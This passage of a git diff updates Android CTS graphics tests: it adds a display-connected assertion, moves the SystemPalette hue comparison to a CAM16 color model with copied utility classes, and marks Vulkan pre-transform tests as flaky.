+++ b/tests/tests/graphics/src/android/graphics/cts/SetFrameRateTest.java
@@ -16,9 +16,12 @@
 
 package android.graphics.cts;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
 
 import android.app.UiAutomation;
+import android.content.Context;
 import android.util.Log;
 import android.view.Surface;
 import android.view.SurfaceControl;
@@ -27,6 +30,8 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.DisplayUtil;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -50,6 +55,10 @@
         // necessary permission when surface flinger checks.
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         uiAutomation.adoptShellPermissionIdentity();
+
+        Context context = getInstrumentation().getTargetContext();
+        assertTrue("Physical display is expected.", DisplayUtil.isDisplayConnected(context));
+
         try {
             // Take ownership of the frame rate flexibility token, if we were able
             // to get one - we'll release it in tearDown().
diff --git a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
index 38a441f..f078100 100644
--- a/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
+++ b/tests/tests/graphics/src/android/graphics/cts/SystemPalette.java
@@ -23,6 +23,7 @@
 import android.R;
 import android.content.Context;
 import android.graphics.Color;
+import android.graphics.cts.utils.Cam;
 import android.util.Pair;
 
 import androidx.annotation.ColorInt;
@@ -31,7 +32,6 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Assert;
-import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -65,7 +65,6 @@
         }
     }
 
-    @Ignore
     @Test
     public void testAllColorsBelongToSameFamily() {
         final Context context = getInstrumentation().getTargetContext();
@@ -76,7 +75,7 @@
         for (int[] palette : allPalettes) {
             for (int i = 3; i < palette.length - 1; i++) {
                 assertWithMessage("Color " + Integer.toHexString((palette[i - 1]))
-                        + " has different chroma compared to " + Integer.toHexString(palette[i])
+                        + " has different hue compared to " + Integer.toHexString(palette[i])
                         + " for palette: " + Arrays.toString(palette))
                         .that(similarHue(palette[i - 1], palette[i])).isTrue();
             }
@@ -84,27 +83,25 @@
     }
 
     /**
-     * Compare if color A and B have similar hue, in HSL space.
+     * Compare if color A and B have similar hue, in gCAM space.
      *
      * @param colorA Color 1
      * @param colorB Color 2
-     * @return True when colors have similar chroma.
+     * @return True when colors have similar hue.
      */
     private boolean similarHue(@ColorInt int colorA, @ColorInt int colorB) {
-        final float[] hslColor1 = new float[3];
-        final float[] hslColor2 = new float[3];
+        final Cam camA = Cam.fromInt(colorA);
+        final Cam camB = Cam.fromInt(colorB);
 
-        ColorUtils.RGBToHSL(Color.red(colorA), Color.green(colorA), Color.blue(colorA), hslColor1);
-        ColorUtils.RGBToHSL(Color.red(colorB), Color.green(colorB), Color.blue(colorB), hslColor2);
+        float hue1 = Math.max(camA.getHue(), camB.getHue());
+        float hue2 = Math.min(camA.getHue(), camB.getHue());
 
-        float hue1 = Math.max(hslColor1[0], hslColor2[0]);
-        float hue2 = Math.min(hslColor1[0], hslColor2[0]);
-
-        return hue1 - hue2 < MAX_HUE_DISTANCE;
+        float diffDegrees = 180.0f - Math.abs(Math.abs(hue1 - hue2) - 180.0f);
+        return diffDegrees < MAX_HUE_DISTANCE;
     }
 
     @Test
-    public void testColorsMatchExpectedLuminosity() {
+    public void testColorsMatchExpectedLuminance() {
         final Context context = getInstrumentation().getTargetContext();
         List<int[]> allPalettes = Arrays.asList(getAllAccent1Colors(context),
                 getAllAccent2Colors(context), getAllAccent3Colors(context),
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
index 79c8342..04a8e1b 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanPreTransformTest.java
@@ -30,6 +30,7 @@
 import android.view.PixelCopy;
 import android.view.SurfaceView;
 
+import androidx.test.filters.FlakyTest;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
@@ -109,6 +110,7 @@
     }
 
     @Test
+    @FlakyTest (bugId = 184584284)
     public void testVulkanPreTransformSetToMatchCurrentTransform() throws Throwable {
         Log.d(TAG, "testVulkanPreTransformSetToMatchCurrentTransform start");
         if (!hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)
@@ -123,6 +125,7 @@
     }
 
     @Test
+    @FlakyTest (bugId = 184584284)
     public void testVulkanPreTransformNotSetToMatchCurrentTransform() throws Throwable {
         Log.d(TAG, "testVulkanPreTransformNotSetToMatchCurrentTransform start");
         if (!hasDeviceFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)
diff --git a/tests/tests/graphics/src/android/graphics/cts/utils/Cam.java b/tests/tests/graphics/src/android/graphics/cts/utils/Cam.java
new file mode 100644
index 0000000..011521e
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/utils/Cam.java
@@ -0,0 +1,501 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts.utils;
+
+/**
+ * Copied from frameworks/base/core to support SystemPalette CTS test
+ *
+ * A color appearance model, based on CAM16, extended to use L* as the lightness dimension, and
+ * coupled to a gamut mapping algorithm. Creates a color system, enables a digital design system.
+ */
+public class Cam {
+    // The maximum difference between the requested L* and the L* returned.
+    private static final float DL_MAX = 0.2f;
+    // The maximum color distance, in CAM16-UCS, between a requested color and the color returned.
+    private static final float DE_MAX = 1.0f;
+    // When the delta between the floor & ceiling of a binary search for chroma is less than this,
+    // the binary search terminates.
+    private static final float CHROMA_SEARCH_ENDPOINT = 0.4f;
+    // When the delta between the floor & ceiling of a binary search for J, lightness in CAM16,
+    // is less than this, the binary search terminates.
+    private static final float LIGHTNESS_SEARCH_ENDPOINT = 0.01f;
+
+    // CAM16 color dimensions, see getters for documentation.
+    private final float mHue;
+    private final float mChroma;
+    private final float mJ;
+    private final float mQ;
+    private final float mM;
+    private final float mS;
+
+    // Coordinates in UCS space. Used to determine color distance, like delta E equations in L*a*b*.
+    private final float mJstar;
+    private final float mAstar;
+    private final float mBstar;
+
+    /** Hue in CAM16 */
+    public float getHue() {
+        return mHue;
+    }
+
+    /** Chroma in CAM16 */
+    public float getChroma() {
+        return mChroma;
+    }
+
+    /** Lightness in CAM16 */
+    public float getJ() {
+        return mJ;
+    }
+
+    /**
+     * Brightness in CAM16.
+     *
+     * <p>Prefer lightness, brightness is an absolute quantity. For example, a sheet of white paper
+     * is much brighter viewed in sunlight than in indoor light, but it is the lightest object under
+     * any lighting.
+     */
+    public float getQ() {
+        return mQ;
+    }
+
+    /**
+     * Colorfulness in CAM16.
+     *
+     * <p>Prefer chroma, colorfulness is an absolute quantity. For example, a yellow toy car is much
+     * more colorful outside than inside, but it has the same chroma in both environments.
+     */
+    public float getM() {
+        return mM;
+    }
+
+    /**
+     * Saturation in CAM16.
+     *
+     * <p>Colorfulness in proportion to brightness. Prefer chroma, saturation measures colorfulness
+     * relative to the color's own brightness, where chroma is colorfulness relative to white.
+     */
+    public float getS() {
+        return mS;
+    }
+
+    /** Lightness coordinate in CAM16-UCS */
+    public float getJstar() {
+        return mJstar;
+    }
+
+    /** a* coordinate in CAM16-UCS */
+    public float getAstar() {
+        return mAstar;
+    }
+
+    /** b* coordinate in CAM16-UCS */
+    public float getBstar() {
+        return mBstar;
+    }
+
+    /** Construct a CAM16 color */
+    Cam(float hue, float chroma, float j, float q, float m, float s, float jstar, float astar,
+            float bstar) {
+        mHue = hue;
+        mChroma = chroma;
+        mJ = j;
+        mQ = q;
+        mM = m;
+        mS = s;
+        mJstar = jstar;
+        mAstar = astar;
+        mBstar = bstar;
+    }
+
+    /**
+     * Given a hue & chroma in CAM16, L* in L*a*b*, return an ARGB integer. The chroma of the color
+     * returned may, and frequently will, be lower than requested. Assumes the color is viewed in
+     * the
+     * frame defined by the sRGB standard.
+     */
+    public static int getInt(float hue, float chroma, float lstar) {
+        return getInt(hue, chroma, lstar, Frame.DEFAULT);
+    }
+
+    /**
+     * Create a color appearance model from a ARGB integer representing a color. It is assumed the
+     * color was viewed in the frame defined in the sRGB standard.
+     */
+    public static Cam fromInt(int argb) {
+        return fromIntInFrame(argb, Frame.DEFAULT);
+    }
+
+    /**
+     * Create a color appearance model from a ARGB integer representing a color, specifying the
+     * frame in which the color was viewed. Prefer Cam.fromInt.
+     */
+    public static Cam fromIntInFrame(int argb, Frame frame) {
+        // Transform ARGB int to XYZ
+        float[] xyz = CamUtils.xyzFromInt(argb);
+
+        // Transform XYZ to 'cone'/'rgb' responses
+        float[][] matrix = CamUtils.XYZ_TO_CAM16RGB;
+        float rT = (xyz[0] * matrix[0][0]) + (xyz[1] * matrix[0][1]) + (xyz[2] * matrix[0][2]);
+        float gT = (xyz[0] * matrix[1][0]) + (xyz[1] * matrix[1][1]) + (xyz[2] * matrix[1][2]);
+        float bT = (xyz[0] * matrix[2][0]) + (xyz[1] * matrix[2][1]) + (xyz[2] * matrix[2][2]);
+
+        // Discount illuminant
+        float rD = frame.getRgbD()[0] * rT;
+        float gD = frame.getRgbD()[1] * gT;
+        float bD = frame.getRgbD()[2] * bT;
+
+        // Chromatic adaptation
+        float rAF = (float) Math.pow(frame.getFl() * Math.abs(rD) / 100.0, 0.42);
+        float gAF = (float) Math.pow(frame.getFl() * Math.abs(gD) / 100.0, 0.42);
+        float bAF = (float) Math.pow(frame.getFl() * Math.abs(bD) / 100.0, 0.42);
+        float rA = Math.signum(rD) * 400.0f * rAF / (rAF + 27.13f);
+        float gA = Math.signum(gD) * 400.0f * gAF / (gAF + 27.13f);
+        float bA = Math.signum(bD) * 400.0f * bAF / (bAF + 27.13f);
+
+        // redness-greenness
+        float a = (float) (11.0 * rA + -12.0 * gA + bA) / 11.0f;
+        // yellowness-blueness
+        float b = (float) (rA + gA - 2.0 * bA) / 9.0f;
+
+        // auxiliary components
+        float u = (20.0f * rA + 20.0f * gA + 21.0f * bA) / 20.0f;
+        float p2 = (40.0f * rA + 20.0f * gA + bA) / 20.0f;
+
+        // hue
+        float atan2 = (float) Math.atan2(b, a);
+        float atanDegrees = atan2 * 180.0f / (float) Math.PI;
+        float hue =
+                atanDegrees < 0
+                        ? atanDegrees + 360.0f
+                        : atanDegrees >= 360 ? atanDegrees - 360.0f : atanDegrees;
+        float hueRadians = hue * (float) Math.PI / 180.0f;
+
+        // achromatic response to color
+        float ac = p2 * frame.getNbb();
+
+        // CAM16 lightness and brightness
+        float j = 100.0f * (float) Math.pow(ac / frame.getAw(), frame.getC() * frame.getZ());
+        float q =
+                4.0f
+                        / frame.getC()
+                        * (float) Math.sqrt(j / 100.0f)
+                        * (frame.getAw() + 4.0f)
+                        * frame.getFlRoot();
+
+        // CAM16 chroma, colorfulness, and saturation.
+        float huePrime = (hue < 20.14) ? hue + 360 : hue;
+        float eHue = 0.25f * (float) (Math.cos(huePrime * Math.PI / 180.0 + 2.0) + 3.8);
+        float p1 = 50000.0f / 13.0f * eHue * frame.getNc() * frame.getNcb();
+        float t = p1 * (float) Math.sqrt(a * a + b * b) / (u + 0.305f);
+        float alpha =
+                (float) Math.pow(t, 0.9) * (float) Math.pow(1.64 - Math.pow(0.29, frame.getN()),
+                        0.73);
+        // CAM16 chroma, colorfulness, saturation
+        float c = alpha * (float) Math.sqrt(j / 100.0);
+        float m = c * frame.getFlRoot();
+        float s = 50.0f * (float) Math.sqrt((alpha * frame.getC()) / (frame.getAw() + 4.0f));
+
+        // CAM16-UCS components
+        float jstar = (1.0f + 100.0f * 0.007f) * j / (1.0f + 0.007f * j);
+        float mstar = 1.0f / 0.0228f * (float) Math.log(1.0f + 0.0228f * m);
+        float astar = mstar * (float) Math.cos(hueRadians);
+        float bstar = mstar * (float) Math.sin(hueRadians);
+
+        return new Cam(hue, c, j, q, m, s, jstar, astar, bstar);
+    }
+
+    /**
+     * Create a CAM from lightness, chroma, and hue coordinates. It is assumed those coordinates
+     * were measured in the sRGB standard frame.
+     */
+    private static Cam fromJch(float j, float c, float h) {
+        return fromJchInFrame(j, c, h, Frame.DEFAULT);
+    }
+
+    /**
+     * Create a CAM from lightness, chroma, and hue coordinates, and also specify the frame in which
+     * the color is being viewed.
+     */
+    private static Cam fromJchInFrame(float j, float c, float h, Frame frame) {
+        float q =
+                4.0f
+                        / frame.getC()
+                        * (float) Math.sqrt(j / 100.0)
+                        * (frame.getAw() + 4.0f)
+                        * frame.getFlRoot();
+        float m = c * frame.getFlRoot();
+        float alpha = c / (float) Math.sqrt(j / 100.0);
+        float s = 50.0f * (float) Math.sqrt((alpha * frame.getC()) / (frame.getAw() + 4.0f));
+
+        float hueRadians = h * (float) Math.PI / 180.0f;
+        float jstar = (1.0f + 100.0f * 0.007f) * j / (1.0f + 0.007f * j);
+        float mstar = 1.0f / 0.0228f * (float) Math.log(1.0 + 0.0228 * m);
+        float astar = mstar * (float) Math.cos(hueRadians);
+        float bstar = mstar * (float) Math.sin(hueRadians);
+        return new Cam(h, c, j, q, m, s, jstar, astar, bstar);
+    }
+
+    /**
+     * Distance in CAM16-UCS space between two colors.
+     *
+     * <p>Much like L*a*b* was designed to measure distance between colors, the CAM16 standard
+     * defined a color space called CAM16-UCS to measure distance between CAM16 colors.
+     */
+    public float distance(Cam other) {
+        float dJ = getJstar() - other.getJstar();
+        float dA = getAstar() - other.getAstar();
+        float dB = getBstar() - other.getBstar();
+        double dEPrime = Math.sqrt(dJ * dJ + dA * dA + dB * dB);
+        double dE = 1.41 * Math.pow(dEPrime, 0.63);
+        return (float) dE;
+    }
+
+    /** Returns perceived color as an ARGB integer, as viewed in standard sRGB frame. */
+    public int viewedInSrgb() {
+        return viewed(Frame.DEFAULT);
+    }
+
+    /** Returns color perceived in a frame as an ARGB integer. */
+    public int viewed(Frame frame) {
+        float alpha =
+                (getChroma() == 0.0 || getJ() == 0.0)
+                        ? 0.0f
+                        : getChroma() / (float) Math.sqrt(getJ() / 100.0);
+
+        float t =
+                (float) Math.pow(alpha / Math.pow(1.64 - Math.pow(0.29, frame.getN()), 0.73),
+                        1.0 / 0.9);
+        float hRad = getHue() * (float) Math.PI / 180.0f;
+
+        float eHue = 0.25f * (float) (Math.cos(hRad + 2.0) + 3.8);
+        float ac = frame.getAw() * (float) Math.pow(getJ() / 100.0,
+                1.0 / frame.getC() / frame.getZ());
+        float p1 = eHue * (50000.0f / 13.0f) * frame.getNc() * frame.getNcb();
+        float p2 = (ac / frame.getNbb());
+
+        float hSin = (float) Math.sin(hRad);
+        float hCos = (float) Math.cos(hRad);
+
+        float gamma =
+                23.0f * (p2 + 0.305f) * t / (23.0f * p1 + 11.0f * t * hCos + 108.0f * t * hSin);
+        float a = gamma * hCos;
+        float b = gamma * hSin;
+        float rA = (460.0f * p2 + 451.0f * a + 288.0f * b) / 1403.0f;
+        float gA = (460.0f * p2 - 891.0f * a - 261.0f * b) / 1403.0f;
+        float bA = (460.0f * p2 - 220.0f * a - 6300.0f * b) / 1403.0f;
+
+        float rCBase = (float) Math.max(0, (27.13 * Math.abs(rA)) / (400.0 - Math.abs(rA)));
+        float rC = Math.signum(rA) * (100.0f / frame.getFl()) * (float) Math.pow(rCBase,
+                1.0 / 0.42);
+        float gCBase = (float) Math.max(0, (27.13 * Math.abs(gA)) / (400.0 - Math.abs(gA)));
+        float gC = Math.signum(gA) * (100.0f / frame.getFl()) * (float) Math.pow(gCBase,
+                1.0 / 0.42);
+        float bCBase = (float) Math.max(0, (27.13 * Math.abs(bA)) / (400.0 - Math.abs(bA)));
+        float bC = Math.signum(bA) * (100.0f / frame.getFl()) * (float) Math.pow(bCBase,
+                1.0 / 0.42);
+        float rF = rC / frame.getRgbD()[0];
+        float gF = gC / frame.getRgbD()[1];
+        float bF = bC / frame.getRgbD()[2];
+
+
+        float[][] matrix = CamUtils.CAM16RGB_TO_XYZ;
+        float x = (rF * matrix[0][0]) + (gF * matrix[0][1]) + (bF * matrix[0][2]);
+        float y = (rF * matrix[1][0]) + (gF * matrix[1][1]) + (bF * matrix[1][2]);
+        float z = (rF * matrix[2][0]) + (gF * matrix[2][1]) + (bF * matrix[2][2]);
+
+        int argb = ColorUtils.xyzToColor(x, y, z);
+        return argb;
+    }
+
+    /**
+     * Given a hue & chroma in CAM16, L* in L*a*b*, and the frame in which the color will be
+     * viewed,
+     * return an ARGB integer.
+     *
+     * <p>The chroma of the color returned may, and frequently will, be lower than requested. This
+     * is
+     * a fundamental property of color that cannot be worked around by engineering. For example, a
+     * red
+     * hue, with high chroma, and high L* does not exist: red hues have a maximum chroma below 10
+     * in
+     * light shades, creating pink.
+     */
+    public static int getInt(float hue, float chroma, float lstar, Frame frame) {
+        // This is a crucial routine for building a color system, CAM16 itself is not sufficient.
+        //
+        // * Why these dimensions?
+        // Hue and chroma from CAM16 are used because they're the most accurate measures of those
+        // quantities. L* from L*a*b* is used because it correlates with luminance, luminance is
+        // used to measure contrast for a11y purposes, thus providing a key constraint on what
+        // colors
+        // can be used.
+        //
+        // * Why is this routine required to build a color system?
+        // In all perceptually accurate color spaces (i.e. L*a*b* and later), `chroma` may be
+        // impossible for a given `hue` and `lstar`.
+        // For example, a high chroma light red does not exist - chroma is limited to below 10 at
+        // light red shades, we call that pink. High chroma light green does exist, but not dark
+        // Also, when converting from another color space to RGB, the color may not be able to be
+        // represented in RGB. In those cases, the conversion process ends with RGB values
+        // outside 0-255
+        // The vast majority of color libraries surveyed simply round to 0 to 255. That is not an
+        // option for this library, as it distorts the expected luminance, and thus the expected
+        // contrast needed for a11y
+        //
+        // * What does this routine do?
+        // Dealing with colors in one color space not fitting inside RGB is, loosely referred to as
+        // gamut mapping or tone mapping. These algorithms are traditionally idiosyncratic, there is
+        // no universal answer. However, because the intent of this library is to build a system for
+        // digital design, and digital design uses luminance to measure contrast/a11y, we have one
+        // very important constraint that leads to an objective algorithm: the L* of the returned
+        // color _must_ match the requested L*.
+        //
+        // Intuitively, if the color must be distorted to fit into the RGB gamut, and the L*
+        // requested *must* be fulfilled, than the hue or chroma of the returned color will need
+        // to be different from the requested hue/chroma.
+        //
+        // After exploring both options, it was more intuitive that if the requested chroma could
+        // not be reached, it used the highest possible chroma. The alternative was finding the
+        // closest hue where the requested chroma could be reached, but that is not nearly as
+        // intuitive, as the requested hue is so fundamental to the color description.
+
+        // If the color doesn't have meaningful chroma, return a gray with the requested Lstar.
+        //
+        // Yellows are very chromatic at L = 100, and blues are very chromatic at L = 0. All the
+        // other hues are white at L = 100, and black at L = 0. To preserve consistency for users of
+        // this system, it is better to simply return white at L* > 99, and black and L* < 0.
+        if (chroma < 1.0 || Math.round(lstar) <= 0.0 || Math.round(lstar) >= 100.0) {
+            return CamUtils.intFromLstar(lstar);
+        }
+
+        hue = hue < 0 ? 0 : Math.min(360, hue);
+
+        // The highest chroma possible. Updated as binary search proceeds.
+        float high = chroma;
+
+        // The guess for the current binary search iteration. Starts off at the highest chroma,
+        // thus, if a color is possible at the requested chroma, the search can stop after one try.
+        float mid = chroma;
+        float low = 0.0f;
+        boolean isFirstLoop = true;
+
+        Cam answer = null;
+
+        while (Math.abs(low - high) >= CHROMA_SEARCH_ENDPOINT) {
+            // Given the current chroma guess, mid, and the desired hue, find J, lightness in
+            // CAM16 color space, that creates a color with L* = `lstar` in the L*a*b* color space.
+            Cam possibleAnswer = findCamByJ(hue, mid, lstar);
+
+            if (isFirstLoop) {
+                if (possibleAnswer != null) {
+                    return possibleAnswer.viewed(frame);
+                } else {
+                    // If this binary search iteration was the first iteration, and this point
+                    // has been reached, it means the requested chroma was not available at the
+                    // requested hue and L*.
+                    // Proceed to a traditional binary search that starts at the midpoint between
+                    // the requested chroma and 0.
+                    isFirstLoop = false;
+                    mid = low + (high - low) / 2.0f;
+                    continue;
+                }
+            }
+
+            if (possibleAnswer == null) {
+                // There isn't a CAM16 J that creates a color with L* `lstar`. Try a lower chroma.
+                high = mid;
+            } else {
+                answer = possibleAnswer;
+                // It is possible to create a color. Try higher chroma.
+                low = mid;
+            }
+
+            mid = low + (high - low) / 2.0f;
+        }
+
+        // There was no answer: meaning, for the desired hue, there was no chroma low enough to
+        // generate a color with the desired L*.
+        // All values of L* are possible when there is 0 chroma. Return a color with 0 chroma, i.e.
+        // a shade of gray, with the desired L*.
+        if (answer == null) {
+            return CamUtils.intFromLstar(lstar);
+        }
+
+        return answer.viewed(frame);
+    }
+
+    // Find J, lightness in CAM16 color space, that creates a color with L* = `lstar` in the L*a*b*
+    // color space.
+    //
+    // Returns null if no J could be found that generated a color with L* `lstar`.
+    private static Cam findCamByJ(float hue, float chroma, float lstar) {
+        float low = 0.0f;
+        float high = 100.0f;
+        float mid = 0.0f;
+        float bestdL = 1000.0f;
+        float bestdE = 1000.0f;
+
+        Cam bestCam = null;
+        while (Math.abs(low - high) > LIGHTNESS_SEARCH_ENDPOINT) {
+            mid = low + (high - low) / 2;
+            // Create the intended CAM color
+            Cam camBeforeClip = Cam.fromJch(mid, chroma, hue);
+            // Convert the CAM color to RGB. If the color didn't fit in RGB, during the conversion,
+            // the initial RGB values will be outside 0 to 255. The final RGB values are clipped to
+            // 0 to 255, distorting the intended color.
+            int clipped = camBeforeClip.viewedInSrgb();
+            float clippedLstar = CamUtils.lstarFromInt(clipped);
+            float dL = Math.abs(lstar - clippedLstar);
+
+            // If the clipped color's L* is within error margin...
+            if (dL < DL_MAX) {
+                // ...check if the CAM equivalent of the clipped color is far away from intended CAM
+                // color. For the intended color, use lightness and chroma from the clipped color,
+                // and the intended hue. Callers are wondering what the lightness is, they know
+                // chroma may be distorted, so the only concern here is if the hue slipped too far.
+                Cam camClipped = Cam.fromInt(clipped);
+                float dE = camClipped.distance(
+                        Cam.fromJch(camClipped.getJ(), camClipped.getChroma(), hue));
+                if (dE <= DE_MAX) {
+                    bestdL = dL;
+                    bestdE = dE;
+                    bestCam = camClipped;
+                }
+            }
+
+            // If there's no error at all, there's no need to search more.
+            //
+            // Note: this happens much more frequently than expected, but this is a very delicate
+            // property which relies on extremely precise sRGB <=> XYZ calculations, as well as fine
+            // tuning of the constants that determine error margins and when the binary search can
+            // terminate.
+            if (bestdL == 0 && bestdE == 0) {
+                break;
+            }
+
+            if (clippedLstar < lstar) {
+                low = mid;
+            } else {
+                high = mid;
+            }
+        }
+
+        return bestCam;
+    }
+
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/utils/CamUtils.java b/tests/tests/graphics/src/android/graphics/cts/utils/CamUtils.java
new file mode 100644
index 0000000..fe129e8
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/utils/CamUtils.java
@@ -0,0 +1,162 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts.utils;
+
+import android.graphics.Color;
+
+/**
+ * Copied from frameworks/base/core to support SystemPalette CTS test
+ *
+ * Collection of methods for transforming between color spaces.
+ *
+ * <p>Methods are named $xFrom$Y. For example, lstarFromInt() returns L* from an ARGB integer.
+ *
+ * <p>These methods, generally, convert colors between the L*a*b*, XYZ, and sRGB spaces.
+ *
+ * <p>L*a*b* is a perceptually accurate color space. This is particularly important in the L*
+ * dimension: it measures luminance and unlike lightness measures traditionally used in UI work via
+ * RGB or HSL, this luminance transitions smoothly, permitting creation of pleasing shades of a
+ * color, and more pleasing transitions between colors.
+ *
+ * <p>XYZ is commonly used as an intermediate color space for converting between one color space to
+ * another. For example, to convert RGB to L*a*b*, first RGB is converted to XYZ, then XYZ is
+ * convered to L*a*b*.
+ *
+ * <p>sRGB is a "specification originated from work in 1990s through cooperation by Hewlett-Packard
+ * and Microsoft, and it was designed to be a standard definition of RGB for the internet, which it
+ * indeed became...The standard is based on a sampling of computer monitors at the time...The whole
+ * idea of sRGB is that if everyone assumed that RGB meant the same thing, then the results would be
+ * consistent, and reasonably good. It worked." - Fairchild, Color Models and Systems: Handbook of
+ * Color Psychology, 2015
+ */
+public final class CamUtils {
+    private CamUtils() {
+    }
+
+    // Transforms XYZ color space coordinates to 'cone'/'RGB' responses in CAM16.
+    static final float[][] XYZ_TO_CAM16RGB = {
+            {0.401288f, 0.650173f, -0.051461f},
+            {-0.250268f, 1.204414f, 0.045854f},
+            {-0.002079f, 0.048952f, 0.953127f}
+    };
+
+    // Transforms 'cone'/'RGB' responses in CAM16 to XYZ color space coordinates.
+    static final float[][] CAM16RGB_TO_XYZ = {
+            {1.86206786f, -1.01125463f, 0.14918677f},
+            {0.38752654f, 0.62144744f, -0.00897398f},
+            {-0.01584150f, -0.03412294f, 1.04996444f}
+    };
+
+    // Need this, XYZ coordinates in internal ColorUtils are private
+
+    // sRGB specification has D65 whitepoint - Stokes, Anderson, Chandrasekar, Motta - A Standard
+    // Default Color Space for the Internet: sRGB, 1996
+    static final float[] WHITE_POINT_D65 = {95.047f, 100.0f, 108.883f};
+
+    // This is a more precise sRGB to XYZ transformation matrix than traditionally
+    // used. It was derived using Schlomer's technique of transforming the xyY
+    // primaries to XYZ, then applying a correction to ensure mapping from sRGB
+    // 1, 1, 1 to the reference white point, D65.
+    static final float[][] SRGB_TO_XYZ = {
+            {0.41233895f, 0.35762064f, 0.18051042f},
+            {0.2126f, 0.7152f, 0.0722f},
+            {0.01932141f, 0.11916382f, 0.95034478f}
+    };
+
+    static int intFromLstar(float lstar) {
+        if (lstar < 1) {
+            return 0xff000000;
+        } else if (lstar > 99) {
+            return 0xffffffff;
+        }
+
+        // XYZ to LAB conversion routine, assume a and b are 0.
+        float fy = (lstar + 16.0f) / 116.0f;
+
+        // fz = fx = fy because a and b are 0
+        float fz = fy;
+        float fx = fy;
+
+        float kappa = 24389f / 27f;
+        float epsilon = 216f / 24389f;
+        boolean lExceedsEpsilonKappa = (lstar > 8.0f);
+        float yT = lExceedsEpsilonKappa ? fy * fy * fy : lstar / kappa;
+        boolean cubeExceedEpsilon = (fy * fy * fy) > epsilon;
+        float xT = cubeExceedEpsilon ? fx * fx * fx : (116f * fx - 16f) / kappa;
+        float zT = cubeExceedEpsilon ? fz * fz * fz : (116f * fx - 16f) / kappa;
+
+        return ColorUtils.xyzToColor(xT * CamUtils.WHITE_POINT_D65[0],
+                yT * CamUtils.WHITE_POINT_D65[1], zT * CamUtils.WHITE_POINT_D65[2]);
+    }
+
+    /** Returns L* from L*a*b*, perceptual luminance, from an ARGB integer (ColorInt). */
+    public static float lstarFromInt(int argb) {
+        return lstarFromY(yFromInt(argb));
+    }
+
+    static float lstarFromY(float y) {
+        y = y / 100.0f;
+        final float e = 216.f / 24389.f;
+        float yIntermediate;
+        if (y <= e) {
+            return ((24389.f / 27.f) * y);
+        } else {
+            yIntermediate = (float) Math.cbrt(y);
+        }
+        return 116.f * yIntermediate - 16.f;
+    }
+
+    static float yFromInt(int argb) {
+        final float r = linearized(Color.red(argb));
+        final float g = linearized(Color.green(argb));
+        final float b = linearized(Color.blue(argb));
+        float[][] matrix = SRGB_TO_XYZ;
+        float y = (r * matrix[1][0]) + (g * matrix[1][1]) + (b * matrix[1][2]);
+        return y;
+    }
+
+    static float[] xyzFromInt(int argb) {
+        final float r = linearized(Color.red(argb));
+        final float g = linearized(Color.green(argb));
+        final float b = linearized(Color.blue(argb));
+
+        float[][] matrix = SRGB_TO_XYZ;
+        float x = (r * matrix[0][0]) + (g * matrix[0][1]) + (b * matrix[0][2]);
+        float y = (r * matrix[1][0]) + (g * matrix[1][1]) + (b * matrix[1][2]);
+        float z = (r * matrix[2][0]) + (g * matrix[2][1]) + (b * matrix[2][2]);
+        return new float[]{x, y, z};
+    }
+
+    static float yFromLstar(float lstar) {
+        float ke = 8.0f;
+        if (lstar > ke) {
+            return (float) Math.pow(((lstar + 16.0) / 116.0), 3) * 100f;
+        } else {
+            return lstar / (24389f / 27f) * 100f;
+        }
+    }
+
+    static float linearized(int rgbComponent) {
+        float normalized = (float) rgbComponent / 255.0f;
+
+        if (normalized <= 0.04045f) {
+            return (normalized / 12.92f) * 100.0f;
+        } else {
+            return (float) Math.pow(((normalized + 0.055f) / 1.055f), 2.4f) * 100.0f;
+        }
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/utils/ColorUtils.java b/tests/tests/graphics/src/android/graphics/cts/utils/ColorUtils.java
new file mode 100644
index 0000000..62176d3
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/utils/ColorUtils.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
